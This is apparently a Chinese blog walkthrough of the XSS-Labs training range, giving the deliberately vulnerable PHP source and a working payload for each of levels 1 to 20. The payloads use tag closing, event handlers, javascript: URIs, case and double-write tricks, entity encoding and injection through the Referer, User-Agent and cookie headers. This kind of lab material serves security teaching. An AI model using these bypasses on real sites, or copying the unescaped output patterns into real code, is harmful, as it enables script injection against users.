一、XSS-Labs靶场环境搭建
1.1、XSS介绍
跨站脚本攻击(XSS)_跨站脚本测试-CSDN博客https://coffeemilk.blog.csdn.net/article/details/142266454
1.2、XSS-Labs
XSS-Labs是一个学习XSS攻击手法的靶场,方便我们系统性的学习掌握跨站脚本攻击的方式方法。
xss 跨站漏洞平台https://github.com/do0dl3/xss-labsWindows版phpstudy下载 - 小皮面板(phpstudy)https://old.xp.cn/download.html 要搭建XSS-Labs的靶场环境,只需要将XSS-Labs与phpStudy 2018版下载下来;首先安装好phpStudy 2018版内容,然后将XSS-Labs内容复制到phpStudy 2018安装好的www目录下即可,如下图所示:
二、XSS-Labs靶场通关
2.1、level1
1、源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
2、payload
通过查看源码可以明显的看到使用的参数【$str = $_GET["name"]】是没有任何操作直接就进行了拼接展示 ,我们使用最基础的script弹窗Paylaod测试:
<script>alert(666)</script>
2.2、level2
1、源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
2、payload
查看源码可知将获取的值赋值在form表单的Input标签value内,可以直接将input标签闭合:
"><script>alert(666)</script>
2.3、level3
1、源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
2、payload
查看源码可知Value使用了【htmlspecialchars()】函数进行处理(即:把预定义的特殊字符转换为 HTML 实体,从而使XSS攻击失效)该函数默认配置不会将单引号和双引号过滤,只有设置了flags规定如何编码单引号和双引号才会过滤; 这里的【htmlspecialchars()】函数使用默认设置(只对双引号进行处理,不对单引号处理):
'onclick='alert(666)
常量名称 | 描述 |
---|---|
| 会转换双引号,不转换单引号。 |
| 既转换双引号也转换单引号。 |
| 单/双引号都不转换 |
字符 | 替换后 |
---|---|
& (& 符号) | & |
" (双引号) | " ,除非设置了
|
' (单引号) | 设置了 后, ' (如果是 ) ,或者 ' (如果是 、 或 )。 |
< (小于) | < |
> (大于) | > |
2.4、level4
1、源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
2、payload
查看源码可知只对左右尖角符号进行了过滤,没有其他的操作,可以使用双引号对value进行闭合,然后在创建onclick事件。
" onclick="alert(666)
" onclick=alert(666)
2.5、level5
1、源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
2、payload
查看源码可知这里对获取的内容中的【<script】、【on】两个内容添加了下划线替换,使其失去原有的作用;此时可以使用javascript: 伪协议来执行JS代码
"> <a href=javascript:alert(666)>
"><iframe src="javascript:alert(666)" />
2.6、level6
1、源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
2、payload
查看源码后可知针对【<script】、【on】、【src】、【data】、【href】这5个内容添加了下划线,使其失去作用;此时我们可以采取大小写的方式绕过。
"><SCRIPT>alert(666)</SCRIPT>
" ONclick="alert(666)"
"> <a Href=javascript:alert(666)>
2.7、level7
1、源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
2、payload
查看源码可知,针对输入的内容全部转为了小写,然后对转为小写的内容进行【script】、【on】、【src】、【data】、【href】5个内容替换为空;针对替换内容我们可以采用双写方法。
"><SSCRIPTCRIPT>alert(666)</SSCRIPTCRIPT>
" OONNclick="alert(666)"
"> <a HHREFref=javasSCRIPTcript:alert(666)>
2.8、level8
1、源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
2、payload
查看源码可知,针对输入的内容全部转为了小写,然后对转为小写的内容进行【script】、【on】、【src】、【data】、【href】5个内容添加下划线,且将双引号直接转为";此时我们可以对【"> <a HHREFref=javasSCRIPTcript:alert(666)>】内容转为HTML实体绕过:
javascript:alert(666)
在线Ascii编码解码工具,ASCII与中文互转 - 图灵工具 在线工具系统https://toolin.cn/ascii文本转ASCIIhttps://tools.xiaoshanseo.com/Tools/HTML_ASCII/在线Ascii编码解码工具,ASCII与中文互转 - JSON.CMhttps://www.json.cm/ascii/HTML字符实体转换,网页字符实体编码https://www.qqxiuzi.cn/bianma/zifushiti.php
2.9、level9
1、源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
2、payload
查看源码可知,针对输入的内容全部转为了小写,然后对转为小写的内容进行【script】、【on】、【src】、【data】、【href】5个内容添加下划线,且将双引号直接转为";同时在value后使用了【htmlspecialchars()】函数处理【针对这个内容可以对内容转为HTML实体编码】;最后对输入的内容进行了判断是否包含【http://】连接;由此可知,我们输入的内容需要包含http://内容【针对包含内容我们可以配合//注释符包含且不让http://生效】:
javascript:alert(666)//http://www.baidu.com
2.10、level10
1、源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
2、payload
我们在界面上并没有发现右什么可以输入的操作的地方,然后我们查看网页源码,发现右隐藏的3个输入框,分别给这3个输入框赋值查看,发现只有t_sort被赋值了,接下来就从t_sort入手:
查看源码可知,输入的内容【t_sort】进行了隐藏,且对输入的内容进行了右尖角左尖角符号替换为空;我们首先要将隐藏的【t_sort】输入框显示,然后在注入即可:
&t_sort=666" type=text onclick="alert(666)"
2.11、level11
1、源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
2、payload
本关我们在界面上也与上一关一样没有发现可以输入的地方,按下键盘的F12查看源码,发现有4个隐藏的输入框,特别是最后一个输入框的value值很特别(是上一个关卡的URL内容),我们分别对这四个输入框进行赋值查看,发现只有t_sort被赋值了,我们采用上一关的payload测试,发现payload并没有被转为对应的属性内容,被实体化了,无法使用;现在我们就从最后的输入框t_ref入手:
针对t_ref引用上一个页面的URL内容,我们可以使用BurpSuite抓包修改注入:
" type=text onclick="alert(666)"
2.12、level12
1、源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
2、payload
这一关也是界面没有任何输入的内容,只有URL可以作为参数的输入点;检查网页后我们发现有【t_link】、【t_history】、【t_sort】、【t_ua】是隐藏的输入框(其中t_ua的value显示的是User-Agent内容),我们可以在URL分别给这四个内容赋值查看,发现只有t_sort可以显示赋值的内容,但是无法正常让我们注入的属性等正常工作,我们输入什么就显示什么,这就表示t_sort是无法利用的;
我们可以从t_ua入手,通过抓包修改User-Agent的方式来进行注入:
" type=text onclick="alert(666)"
" type=text onmouseover="alert(666)"
2.13、level13
1、源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
2、payload
这一关也是界面没有任何输入的内容,只有URL可以作为参数的输入点;检查网页后我们发现有【t_link】、【t_history】、【t_sort】、【t_cook】是隐藏的输入框,我们可以在URL分别给这四个内容赋值查看,发现只有t_sort可以显示赋值的内容,但是无法正常让我们注入的属性等正常工作,我们输入什么就显示什么,这就表示t_sort是无法利用的;
此时我们需要使用抓包工具BurpSuite进行抓包,发现最后一个参数t_cook使用的是cookie内容,直接修改抓包后的cookie内容即可:
" type=text onclick="alert(666)"
2.14、level14
1、源码
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>
2、payload
该关卡的关键点是iframe标签中关于文件的调用来实现注入,但由于调用地址(http://www.exifviewer.org/)失效,导致无法测试,直接跳过即可。
该关卡涉及到Exif图片格式的隐藏信息,可以选中图片,点击鼠标右键属性查看图片信息
2.15、level15
1、源码
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
2、payload
Angular ng-include 指令 | AngularJS 教程在本教程中,您将学习如何使用Angular ng-include 指令https://www.w3ccoo.com/angular/ng_ng-include.html简单的说就是ng-include可以包含文件调用;我们这里直接使用【level1.php】的payload来进入操作:
http://192.168.3.176/xss-labs/level15.php?src='level1.php?name=<img src=666 onerror=alert(666)>'
2.16、level16
1、源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>
2、payload
查看源码将输入的内容中包含【script】、【空格】、【/】的内容都替换为【 】,我们可以考虑使用:
1、%0A——表示换行【光标移动到下一行】;
2、%0D——表示将光标移动到该行的开头;
<img%0Asrc=666%0Aonerror=alert(666)>
<img%0Dsrc=666%0Donerror=alert(666)>
2.17、level17
1、源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
2、payload
查看页面可知我们的URL参数内容显示在了embed标签的src属性里面,可以使用onmouseover属性来注入:
onmouseover=alert(666)
2.18、level18
1、源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level19.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>
2、payload
查看页面可知我们的URL参数内容显示在了embed标签的src属性里面,可以使用onmouseover属性来注入:
" onmouseover=alert(666)
2.19、level19
1、源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level20.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>
该关卡涉及到的是flash的XSS,目前由于flash已经不被浏览器支持了;了解一下就行,直接过:
2、payload:
arg01=version&arg02=<a href="javascript:alert(1)">123</a>
2.20、level20
1、源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level21.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level20</title>
</head>
<body>
<h1 align=center>欢迎来到level20</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>
2、payload
arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)
三、其他关于XSS-Labs靶场过关攻略
xss-labs靶场1-20关详解 - L00kback - 博客园https://www.cnblogs.com/L00kback/p/17552275.htmlxss-labs 靶场详细攻略(附常用payload) - FreeBuf网络安全行业门户https://www.freebuf.com/articles/web/338123.htmlWeb安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)(一)https://mp.weixin.qq.com/s/RJcOZuscU07BEPgK89LSrQ